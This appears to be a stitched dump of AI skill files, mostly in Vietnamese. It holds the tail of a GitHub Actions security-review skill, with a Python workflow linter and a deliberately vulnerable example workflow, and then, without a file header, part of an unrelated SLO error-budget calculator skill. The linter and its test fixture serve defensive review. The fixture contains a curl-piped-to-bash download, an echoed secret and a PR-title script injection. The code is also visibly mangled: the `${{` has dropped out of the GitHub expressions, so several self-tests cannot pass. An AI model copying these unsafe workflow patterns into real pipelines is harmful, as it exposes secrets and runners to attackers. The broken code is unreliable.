secrets và chỉ dùng token có quyền đọc; tải kết quả lên dưới dạng một artifact. - Luồng công việc `workflow_run`: chạy nối tiếp sau đó cùng với secrets, tải artifact xuống, coi nội dung đó là dữ liệu không đáng tin cậy (chỉ phân tích cú pháp JSON, tuyệt đối không thực thi), rồi đăng bình luận hoặc gắn nhãn. ## 5. Checkout và thông tin xác thực - Đặt `persist-credentials: false` trên `actions/checkout` trừ khi job đó cần thực hiện lệnh push. - Tuyệt đối không checkout mã nguồn của PR trong `pull_request_target`; nếu bắt buộc phải checkout (ví dụ công cụ gắn nhãn cần đọc tệp cấu hình), chỉ checkout nhánh đích (base branch). ## 6. Runners và các giới hạn - Self-hosted runners: chỉ dùng cho các kho mã nguồn riêng tư, hoặc phải là dạng dùng một lần (ephemeral - mỗi VM chỉ chạy một job rồi hủy) và không có quyền truy cập mạng vào các hệ thống nội bộ. - Đặt `timeout-minutes` trên mọi job; cấu hình nhóm `concurrency` cho các luồng triển khai (deploy). ## 7. Secrets và các môi trường (environments) - Đặt thông tin xác thực dùng để triển khai vào trong một môi trường (environment) có yêu cầu người phê duyệt bắt buộc và quy tắc giới hạn nhánh. - Ưu tiên sử dụng OIDC (`id-token: write`) thay cho các khóa đám mây dài hạn. - Che giấu các giá trị phái sinh bằng `::add-mask::` trước khi in ra bất kỳ nội dung nào giống như dữ liệu bí mật. ## Danh sách kiểm tra khi đánh giá 1. Những sự kiện kích hoạt (triggers) nào có thể bị người bên ngoài kích hoạt? 2. Token có thể ghi vào những đâu, và những biến bí mật (secrets) nào có thể tiếp cận được từ các sự kiện kích hoạt đó? 3. Có văn bản nào do kẻ tấn công kiểm soát bị nội suy trực tiếp vào kịch bản hay không? 4. Mọi khai báo `uses:` đã được ghim vào mã băm SHA hay chưa? 5. Có đoạn mã từ xa nào được thực thi mà không qua xác minh hay không? FILE:templates/workflow-security-review.md # Đánh Giá Bảo Mật GitHub Actions - <repository> **Ngày:** <YYYY-MM-DD> **Người đánh giá:** <name> **Các tệp:** <.github/workflows/...> **Chế độ hiển thị kho:** <public/private> **Cho phép PR từ bản fork:** <yes/no> **Self-hosted runners:** <yes/no> **Công cụ kiểm tra:** `gha_audit.py` -> <n> high, <n> medium, <n> low ## Các phát hiện mức độ cao (High) | Quy tắc | Tệp:dòng | Vấn đề | Kịch bản tấn công | Cách khắc phục | |---|---|---|---|---| | | | | | | ## Các phát hiện mức độ trung bình và thấp (Medium & Low) | Quy tắc | Tệp:dòng | Vấn đề | Cách khắc phục | |---|---|---|---| | | | | | ## Các phát hiện đã loại trừ - <quy tắc, tệp:dòng> - <lý do không thể khai thác trong trường hợp này> ## Bản vá đề xuất ```diff <minimal diff> ``` ## Những hạng mục không nằm trong phạm vi đánh giá này - Các luồng công việc tái sử dụng (reusable workflows) và các composite action được gọi từ những tệp này - Cài đặt cấp kho mã nguồn và cấp tổ chức (quyền mặc định của token, phê duyệt PR từ bản fork, cấu hình môi trường) ## Các việc cần làm tiếp theo - [ ] Bật Dependabot cho hệ sinh thái github-actions - [ ] Đặt quyền mặc định của luồng công việc thành chỉ đọc (read-only) - [ ] Yêu cầu người phê duyệt đối với môi trường production FILE:examples/pr-labeler.yml # Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file): # GHA001 high line 21 - pull_request_target checks out the PR head # GHA002 high line 24 - PR title pasted into run (script injection) # GHA007 high line 25 - secret echoed in run # GHA004 high line 27 - third-party action on @main # GHA005 medium line 1 - no permissions block at workflow or job level # GHA008 medium line 26 - curl piped to bash # GHA012 low line 16 - job without timeout-minutes # GHA003 low line 19 - actions/checkout@v4 pinned to a tag # GHA011 low line 19 - checkout without persist-credentials: false name: PR labeler on: pull_request_target: types: [opened, synchronize] jobs: label: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: { github.event.pull_request.head.sha} - name: Greet run: | echo "Thanks for: { github.event.pull_request.title}" echo "token={ secrets.LABEL_TOKEN}" curl -sSL https://example.com/install.sh | bash - uses: someorg/auto-labeler@main FILE:scripts/gha_audit.py #!/usr/bin/env python3 """GitHub Actions workflow security linter (Python 3 standard library only, no YAML library). Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs (see references/risk-catalog.md): GHA001 pull_request_target/workflow_run + checkout of PR head high GHA002 untrusted { github.event.*} text inside run:/script: high GHA003 uses: pinned to a tag instead of a commit SHA medium (low for actions/*, github/*) GHA004 uses: on a branch (@main/@master) or without a ref high GHA005 no permissions at workflow level or on every job medium GHA006 permissions: write-all high GHA007 { secrets.*} inside run: (high when echoed/printed) high/medium GHA008 curl/wget piped to a shell medium GHA009 self-hosted runner on pull_request(_target) medium GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled high GHA011 actions/checkout without persist-credentials: false low GHA012 job without timeout-minutes low GHA013 docker:// image without @sha256 digest low GHA014 workflow_run + actions/download-artifact medium Usage: python3 gha_audit.py .github/workflows/*.yml python3 gha_audit.py ci.yml --json python3 gha_audit.py ci.yml --strict # exit 1 on any finding python3 gha_audit.py --self-test Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file. """ import argparse import json import re import sys SEV_ORDER = {"high": 0, "medium": 1, "low": 2} TRUSTED_OWNERS = {"actions", "github"} BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"} UNTRUSTED_EXPR = re.compile( r"github\.head_ref" r"|github\.event\.[\w.*\[\]'\"-]*?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b" r"|github\.event\.[\w.*\[\]'\"-]*?head\.ref\b" r"|github\.event\.[\w.*\[\]'\"-]*?author\.name\b" ) EXPR = re.compile(r"\$\{\{(.*?)\}\}") SECRET_EXPR = re.compile(r"\$\{\{\s*secrets\.([A-Za-z0-9_]+)\s*\}\}") PR_HEAD_REF = re.compile(r"ref:\s*['\"]?\$\{\{\s*(github\.event\.pull_request\.head\.(sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(sha|branch))\s*\}\}") PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b") PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b") SHA40 = re.compile(r"^[0-9a-f]{40}$") def strip_comment(line): """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes).""" out, q = [], None for i, ch in enumerate(line): if q: if ch == q: q = None elif ch in "'\"": q = ch elif ch == "#" and (i == 0 or line[i - 1] in " \t"): break out.append(ch) return "".join(out).rstrip() def indent_of(s): return len(s) - len(s.lstrip(" ")) def parse_lines(text): """Return a list of (lineno, indent, content) for non-empty, non-comment lines.""" rows = [] for n, raw in enumerate(text.splitlines(), 1): s = strip_comment(raw.replace("\t", " ")) if s.strip(): rows.append((n, indent_of(s), s.strip())) return rows def block_end(rows, i): """Index after the block owned by rows[i] (all following rows indented deeper).""" ind = rows[i][1] j = i + 1 while j < len(rows) and rows[j][1] > ind: j += 1 return j def key_of(content): c = content[2:].lstrip() if content.startswith("- ") else content m = re.match(r"^['\"]?([A-Za-z0-9_\-]+)['\"]?\s*:(\s|$)", c) return (m.group(1), c[m.end():].strip()) if m else (None, None) def triggers(rows): trig = set() for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k in ("on", "true"): if v: trig.update(re.findall(r"[a-z_]+", v)) else: end = block_end(rows, i) child = min((rows[j][1] for j in range(i + 1, end)), default=None) for j in range(i + 1, end): if rows[j][1] == child: ck, _ = key_of(rows[j][2]) if ck: trig.add(ck) elif rows[j][2].startswith("- "): trig.add(rows[j][2][2:].strip()) return trig def audit_text(text, path="workflow.yml"): rows = parse_lines(text) findings = [] def add(rule, sev, line, msg): findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg}) trig = triggers(rows) privileged = trig & {"pull_request_target", "workflow_run"} pr_triggers = trig & {"pull_request", "pull_request_target"} top_perm = None jobs_idx = None for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k == "permissions": top_perm = (n, v) if ind == 0 and k == "jobs": jobs_idx = i if top_perm and top_perm[1].strip("'\"") == "write-all": add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes") # jobs jobs = [] if jobs_idx is not None: end = block_end(rows, jobs_idx) child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None) for j in range(jobs_idx + 1, end): if rows[j][1] == child and key_of(rows[j][2])[0]: jobs.append((j, block_end(rows, j))) jobs_with_perm = 0 for (js, je) in jobs: jname = key_of(rows[js][2])[0] jind = rows[js][1] direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else [] dkeys = {key_of(r[2])[0]: r for r in direct} if "permissions" in dkeys: jobs_with_perm += 1 if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all": add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all") if "timeout-minutes" not in dkeys and "uses" not in dkeys: add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)") if "runs-on" in dkeys: ro_i = rows.index(dkeys["runs-on"]) ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)]) if "self-hosted" in ro_text and pr_triggers: add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner") if top_perm is None and (not jobs or jobs_with_perm < len(jobs)): add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default") # line-level checks i = 0 while i < len(rows): n, ind, c = rows[i] k, v = key_of(c) if k in ("run", "script"): end = block_end(rows, i) body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else [] body += [(r[0], r[2]) for r in rows[i + 1:end]] for bn, bt in body: for m in EXPR.finditer(bt): expr = m.group(1).strip() if UNTRUSTED_EXPR.search(expr): add("GHA002", "high", bn, f"untrusted expression {{{ {expr }}}} is pasted into {k}: (script injection); pass it via env") for m in SECRET_EXPR.finditer(bt): if PRINT_CMD.search(bt): add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:") else: add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead") if k == "run" and PIPE_SHELL.search(bt): add("GHA008", "medium", bn, "remote script piped straight into a shell") i = end continue if k == "uses": ref = v.strip("'\"") if ref.startswith("./"): pass elif ref.startswith("docker://"): if "@sha256:" not in ref: add("GHA013", "low", n, f"{ref} is not pinned to an image digest") else: name, _, at = ref.partition("@") owner = name.split("/")[0].lower() if not at or at.lower() in BRANCH_REFS: add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA") elif not SHA40.match(at): sev = "low" if owner in TRUSTED_OWNERS else "medium" add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA") if name.lower().startswith("actions/checkout"): # the step block: siblings at this indent (after '- ') and deeper step_ind = ind + 2 if c.startswith("- ") else ind j = i + 1 j0 = i while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind: j0 -= 1 while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")): j += 1 step = " ".join(r[2] for r in rows[j0:j]) if not re.search(r"persist-credentials:\s*['\"]?false", step): add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false") if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig: add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data") if privileged and PR_HEAD_REF.search(c): add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available") if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I): add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path") i += 1 findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"])) return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings} def to_markdown(results): out = ["# GitHub Actions security audit", ""] tot = {"high": 0, "medium": 0, "low": 0} for r in results: for f in r["findings"]: tot[f["severity"]] += 1 out.append(f"**Files:** {len(results)} **Findings:** {tot['high']} high, {tot['medium']} medium, {tot['low']} low") for r in results: out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""] if not r["findings"]: out.append("No findings.") continue out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"] for f in r["findings"]: msg = f["message"].replace("|", "\\|") out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |") return "\n".join(out) SAFE = """name: CI on: pull_request: permissions: contents: read jobs: test: runs-on: ubuntu-latest timeout-minutes: 15 steps: - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 with: persist-credentials: false - name: Test env: PR_TITLE: { github.event.pull_request.title} run: | echo "Testing $PR_TITLE" make test """ def self_test(): cases = [] def ok(name, cond): cases.append((name, bool(cond))) def rules(text): return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]] ok("safe workflow has no findings", rules(SAFE) == []) ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"]) ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"]) inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "{ github.event.pull_request.title}"') ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj)) ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin { github.head_ref}"))) ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |") .replace("make test", "core.info('{ github.event.comment.body}')"))) ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE))) ok("PR number is safe", rules(SAFE.replace("make test", "echo { github.event.pull_request.number}")) == []) ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4"))) ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1"))) ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main"))) ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == []) ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n contents: read\n", ""))) ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n contents: read\n", "").replace(" timeout-minutes: 15\n", " timeout-minutes: 15\n permissions:\n contents: read\n")) == []) ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n contents: read", "permissions: write-all"))) ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo { secrets.NPM_TOKEN}"))) ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token { secrets.NPM_TOKEN}"))) ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash"))) ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]"))) ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == []) ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: { github.event.pull_request.title}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true"))) ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace(" with:\n persist-credentials: false\n", ""))) ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace(" timeout-minutes: 15\n", ""))) ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20"))) prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}") ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt)) ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}")))) wr = SAFE.replace("pull_request:", "workflow_run:\n workflows: [CI]").replace(" - name: Test", " - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n - name: Test") ok("workflow_run + download-artifact is GHA014", ("GHA014", "medium") in rules(wr)) ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"') md = to_markdown([audit_text(inj, "ci.yml")]) ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md) passed = sum(c for _, c in cases) for name, c in cases: print(("PASS " if c else "FAIL ") + name) print(f"{passed}/{len(cases)} passed") return 0 if passed == len(cases) else 1 def main(argv=None): ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.") ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)") ap.add_argument("--json", action="store_true") ap.add_argument("--strict", action="store_true", help="exit 1 on any finding") ap.add_argument("--self-test", action="store_true") a = ap.parse_args(argv) if a.self_test: return self_test() if not a.files: ap.error("at least one workflow file required (or --self-test)") results = [] for p in a.files: try: text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read() except OSError as e: print(f"error: {e}", file=sys.stderr) return 2 results.append(audit_text(text, p)) print(json.dumps(results, indent=2) if a.json else to_markdown(results)) allf = [f for r in results for f in r["findings"]] if any(f["severity"] == "high" for f in allf) or (a.strict and allf): return 1 return 0 if __name__ == "__main__": sys.exit(main())
Chuyển đổi số lượng yêu cầu thành các chỉ số trả lời cho SLO: SLI, ngân sách lỗi cho khung thời gian 28 ngày hoặc 30 ngày, ngân sách đã tiêu thụ và còn lại, tốc độ tiêu hao (burn rate) trong khoảng từ 5 phút đến 3 ngày, cảnh báo tốc độ tiêu hao đa khung thời gian (gọi trực khẩn cấp ở mức 14.4x và 6x, tạo ticket ở mức 3x và 1x, được quy đổi theo khung thời gian), và thời gian cho đến khi cạn kiệt ngân sách. Sử dụng khi thiết lập SLO, tinh chỉnh cảnh báo, quyết định đóng băng phát hành hoặc viết tóm tắt sự cố. Bao gồm một công cụ tính bằng Python dùng thư viện chuẩn với tùy chọn --self-test.
---
name: slo-error-budget-burn-rate-calculator
description: Chuyển đổi số lượng yêu cầu thành các chỉ số trả lời cho SLO: SLI, ngân sách lỗi cho khung thời gian 28 ngày hoặc 30 ngày, ngân sách đã tiêu thụ và còn lại, tốc độ tiêu hao (burn rate) trong khoảng từ 5 phút đến 3 ngày, cảnh báo tốc độ tiêu hao đa khung thời gian (gọi trực khẩn cấp ở mức 14.4x và 6x, tạo ticket ở mức 3x và 1x, được quy đổi theo khung thời gian), và thời gian cho đến khi cạn kiệt ngân sách. Sử dụng khi thiết lập SLO, tinh chỉnh cảnh báo, quyết định đóng băng phát hành hoặc viết tóm tắt sự cố. Bao gồm một công cụ tính bằng Python dùng thư viện chuẩn với tùy chọn --self-test.
---
# Công Cụ Tính Ngân Sách Lỗi và Tốc Độ Tiêu Hao SLO
Bạn giúp các kỹ sư và đội ngũ trực sự cố (on-call) đánh giá độ tin cậy của hệ thống dựa trên số liệu thay vì cảm tính. Bạn chuyển đổi số lượng yêu cầu thành công/tổng số yêu cầu thành chỉ số SLI, quy đổi mục tiêu SLO thành ngân sách lỗi (error budget), chỉ ra tốc độ tiêu hao ngân sách qua nhiều khung thời gian, cho biết cảnh báo nào cần gọi trực khẩn cấp (page) hoặc mở ticket, đồng thời ước tính thời điểm ngân sách sẽ cạn kiệt nếu giữ nguyên tốc độ hiện tại. Bạn giải thích từng con số bằng ngôn ngữ dễ hiểu để các chủ sản phẩm (product owner) có thể nắm bắt và đưa ra quyết định.
## Các tệp trong kỹ năng này
- `scripts/slo_budget.py` - đọc tệp CSV chứa số lượng yêu cầu theo từng khoảng thời gian và in ra SLI, ngân sách đã tiêu thụ và còn lại, tốc độ tiêu hao, trạng thái cảnh báo, thời gian dự kiến cạn kiệt và khoảng thời gian tệ nhất; tùy chọn `--allowance` in ra thời gian ngừng hoạt động cho phép và ngưỡng cảnh báo cho bất kỳ mức SLO nào (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/slo-math.md` - công thức tính SLI, ngân sách lỗi, tốc độ tiêu hao, mức tiêu thụ dự kiến và các con số tính sẵn cho những mục tiêu phổ biến
- `references/burn-rate-alerting.md` - chính sách cảnh báo đa khung thời gian, đa tốc độ tiêu hao, cách các ngưỡng thay đổi theo khung thời gian và lời khuyên tinh chỉnh
- `templates/slo-status-report.md` - mẫu báo cáo trạng thái SLO hàng tuần hoặc tóm tắt ngân sách sau sự cố
- `examples/checkout-api-requests.csv` - dữ liệu số lượng yêu cầu theo từng khoảng 15 phút trong hai ngày của một API thanh toán, có một đợt gián đoạn nhỏ và một sự cố kéo dài 2 giờ ở cuối kỳ
## Quy trình làm việc
### 1. Xác định SLI và SLO
Hỏi rõ thế nào được coi là một sự kiện "tốt" (mã trạng thái < 500, độ trễ dưới 300 ms, tác vụ chạy thành công), dữ liệu đếm lấy từ đâu, mục tiêu là bao nhiêu (99%, 99.5%, 99.9%, 99.95%), và khung thời gian tính là gì (28 hoặc 30 ngày trượt). Hãy phản biện lại những mục tiêu mà hệ thống chưa từng đạt được trong thực tế: luôn hiển thị chỉ số SLI lịch sử trước tiên.
### 2. Thu thập dữ liệu
Xuất số lượng sự kiện tốt và tổng số sự kiện (hoặc sự kiện lỗi và tổng số sự kiện) theo từng khoảng thời gian, ví dụ các khung 1 phút, 5 phút hoặc 15 phút, dưới dạng tệp CSV với các cột `timestamp,total,good`. Cột timestamp đánh dấu thời điểm bắt đầu của mỗi khoảng thời gian. Sử dụng múi giờ UTC.
### 3. Chạy công cụ tính
```
python3 scripts/slo_budget.py examples/checkout-api-requests.csv --slo 99.9 --window 30d
python3 scripts/slo_budget.py requests.csv --slo 99.5 --window 28d --json > slo.json
python3 scripts/slo_budget.py requests.csv --now 2026-10-19T22:00:00Z
python3 scripts/slo_budget.py --allowance --slo 99.95 --window 30d
python3 scripts/slo_budget.py --self-test
```
Mã thoát (exit code) bằng 1 có nghĩa là cảnh báo gọi trực khẩn cấp (page alert) đang kích hoạt hoặc ngân sách đã cạn kiệt; bằng 2 có nghĩa là dữ liệu đầu vào không hợp lệ (thiếu cột, số lỗi > tổng số, không phân tích được định dạng timestamp).
### 4. Diễn giải kết quả
- Tốc độ tiêu hao (burn rate) bằng 1.0 nghĩa là tiêu thụ vừa hết ngân sách khi kết thúc khung thời gian; mức 14.4 duy trì trong một giờ sẽ tiêu tốn 2% ngân sách của cả 30 ngày.
- Ngân sách đã tiêu thụ được phóng chiếu dựa trên lưu lượng truy cập ghi nhận được cho đến hiện tại; nếu dữ liệu chưa đủ một khung thời gian đầy đủ, hãy nêu rõ điều đó.
- Một cảnh báo chỉ kích hoạt khi cả khung thời gian dài và khung thời gian ngắn của nó đều vượt ngưỡng; khung thời gian ngắn giúp cảnh báo nhanh chóng tắt đi sau khi hệ thống phục hồi. Xem thêm trong `references/burn-rate-alerting.md`.
- Các khung thời gian ngắn hơn bước nhảy dữ liệu sẽ được làm tròn lên thành một bước nhảy; các khung thời gian dài hơn tổng thời lượng dữ liệu sẽ có trạng thái là "not evaluable" (không thể đánh giá).
### 5. Đưa ra khuyến nghị và báo cáo
Gắn kết các con số với một quyết định cụ thể: gọi trực khẩn cấp ngay, mở ticket, làm chậm các đợt phát hành tiềm ẩn rủi ro khi ngân sách còn lại thấp, hoặc nới lỏng một SLO vốn luôn bị vi phạm do đặc thù thiết kế. Điền thông tin vào `templates/slo-status-report.md`.
## Kết quả ví dụ
Đối với `examples/checkout-api-requests.csv` ở mức SLO 99.9% trong 30 ngày: SLI đạt 99.8768%, đã tiêu thụ 8.2% ngân sách, tốc độ tiêu hao trong 1h là 26.46 và trong 5m là 28.06 nên cảnh báo gọi trực nhanh được kích hoạt, tốc độ tiêu hao trong 6h là 5.83 nằm ngay dưới ngưỡng 6.0, cảnh báo ticket 3d ở trạng thái không thể đánh giá (not evaluable) vì chỉ có hai ngày dữ liệu, và với tốc độ của giờ cuối cùng thì ngân sách sẽ cạn sạch sau khoảng 1 ngày 16 giờ. Mã thoát là 1.
## Quy tắc
- Luôn nêu rõ SLO, khung thời gian, phạm vi dữ liệu và bất kỳ khoảng thời gian bị thiếu nào kèm theo mỗi kết quả.
- Không trộn lẫn nhiều định nghĩa sự kiện tốt vào chung một SLI; hãy tính các SLO riêng biệt cho độ sẵn sàng (availability) và độ trễ (latency).
- SLO là công cụ hỗ trợ ra quyết định, không phải công cụ quy trách nhiệm: hãy mô tả tác động lên người dùng, không nhằm vào cá nhân.
- Không tự bịa ra số liệu lưu lượng truy cập; nếu thiếu dữ liệu đếm, hãy yêu cầu cung cấp hoặc nêu rõ kết quả nào không thể tính toán được.
FILE:references/slo-math.md
# Toán Học Trong SLO
## Các định nghĩa
- **SLI** (service level indicator - chỉ số mức dịch vụ) = số sự kiện tốt / tổng số sự kiện, tính theo phần trăm.
- **SLO** (objective - mục tiêu mức dịch vụ) = mức SLI mục tiêu trong một khung thời gian, ví dụ: 99.9% yêu cầu thành công trong 30 ngày trượt.
- **Ngân sách lỗi (Error budget)** = 1 - SLO = tỷ lệ sự kiện được phép thất bại. Mức 99.9% -> 0.1%.
- **Ngân sách tính theo số sự kiện** = (1 - SLO) x tổng số sự kiện trong khung thời gian.
- **Tỷ lệ lỗi (Error rate)** trong một khung thời gian = số sự kiện lỗi / tổng số sự kiện trong khung thời gian đó.
- **Tốc độ tiêu hao (Burn rate)** = tỷ lệ lỗi / (1 - SLO). Mức 1.0 có nghĩa là ngân sách sẽ được sử dụng vừa hết vào thời điểm kết thúc khung thời gian.
## Mức tiêu thụ dự kiến với dữ liệu một phần
Với D giây dữ liệu thực tế và W giây của khung thời gian SLO:
- số yêu cầu dự kiến trong toàn khung = (số yêu cầu trong dữ liệu / D) x W
- số lỗi cho phép = (1 - SLO) x số yêu cầu dự kiến
- tỷ lệ đã tiêu thụ = số lỗi trong dữ liệu / số lỗi cho phép
- thời gian cho đến khi cạn kiệt theo tốc độ gần đây = (số lỗi cho phép - số lỗi tính đến hiện tại) / (số lỗi mỗi giây trong khung thời gian gần đây đó)
## Thời gian ngừng hoạt động hoàn toàn tối đa cho phép
| SLO | mỗi 30 ngày | mỗi 28 ngày | mỗi tuần | mỗi ngày |
|---|---|---|---|---|
| 99% | 7h 12m | 6h 43m 12s | 1h 40m 48s | 14m 24s |
| 99.5% | 3h 36m | 3h 21m 36s | 50m 24s | 7m 12s |
| 99.9% | 43m 12s | 40m 19s | 10m 5s | 1m 26s |
| 99.95% | 21m 36s | 20m 10s | 5m 2s | 43s |
| 99.99% | 4m 19s | 4m 2s | 1m 0s | 9s |
Các SLO dựa trên số lượng yêu cầu không phụ thuộc trực tiếp vào thời gian đồng hồ: 10 phút bị lỗi 50% sẽ tiêu tốn lượng ngân sách tương đương với 5 phút ngừng hoạt động hoàn toàn nếu có cùng lưu lượng truy cập, và một sự cố ngừng hoạt động lúc 3 giờ sáng sẽ tốn ít ngân sách hơn so với sự cố xảy ra vào giờ cao điểm.
## Ví dụ minh họa cách tính
SLO 99.9%, khung thời gian 30 ngày, 1,000,000 yêu cầu mỗi ngày.
- Ngân sách: 0.001 x 30,000,000 = 30,000 yêu cầu thất bại.
- Tỷ lệ lỗi 2% kéo dài trong một giờ ở mức lưu lượng 41,667 yêu cầu/giờ sẽ làm tiêu hao 833 lỗi = 2.8% ngân sách, tương ứng tốc độ tiêu hao là 20.
- Ở tốc độ tiêu hao bằng 20, toàn bộ ngân sách sẽ chỉ trụ được trong 30 ngày / 20 = 36 giờ.
## Các bẫy thường gặp
- Đếm các lần thử lại (retry) như những sự kiện tốt riêng biệt sẽ che giấu các lỗi mà người dùng thực sự gặp phải.
- Lưu lượng truy cập quá thấp (ban đêm, khu vực mới mở) khiến tỷ lệ lỗi bị nhiễu mạnh; hãy áp dụng số lượng yêu cầu tối thiểu hoặc dùng khung thời gian ngắn dài hơn.
- Các phép đo giả lập (synthetic probes) đo lường chính công cụ thăm dò chứ không phải người dùng thực tế; hãy gắn nhãn tách biệt cho chúng.
- Thay đổi SLO giữa chừng khung thời gian: hãy tính toán lại toàn bộ khung thời gian theo mục tiêu mới và ghi chú rõ điều này.
FILE:references/burn-rate-alerting.md
# Cảnh Báo Theo Tốc Độ Tiêu Hao (Burn-Rate Alerting)
## Chính sách mặc định (đa khung thời gian, đa tốc độ tiêu hao)
| Mức độ nghiêm trọng | Tỷ phần ngân sách | Khung dài | Khung ngắn | Ngưỡng tiêu hao (30d) | Ngưỡng tiêu hao (28d) |
|---|---|---|---|---|---|
| page | 2% | 1h | 5m | 14.4 | 13.44 |
| page | 5% | 6h | 30m | 6.0 | 5.6 |
| ticket | 10% | 1d | 2h | 3.0 | 2.8 |
| ticket | 10% | 3d | 6h | 1.0 | 0.93 |
Ngưỡng = tỷ phần ngân sách x khung thời gian SLO / khung dài. Ví dụ: 0.02 x 720h / 1h = 14.4.
## Tại sao cần kết hợp hai khung thời gian
- **Khung thời gian dài (long window)** chứng minh sự cố đủ nghiêm trọng (đã làm tiêu tốn một lượng ngân sách đáng kể).
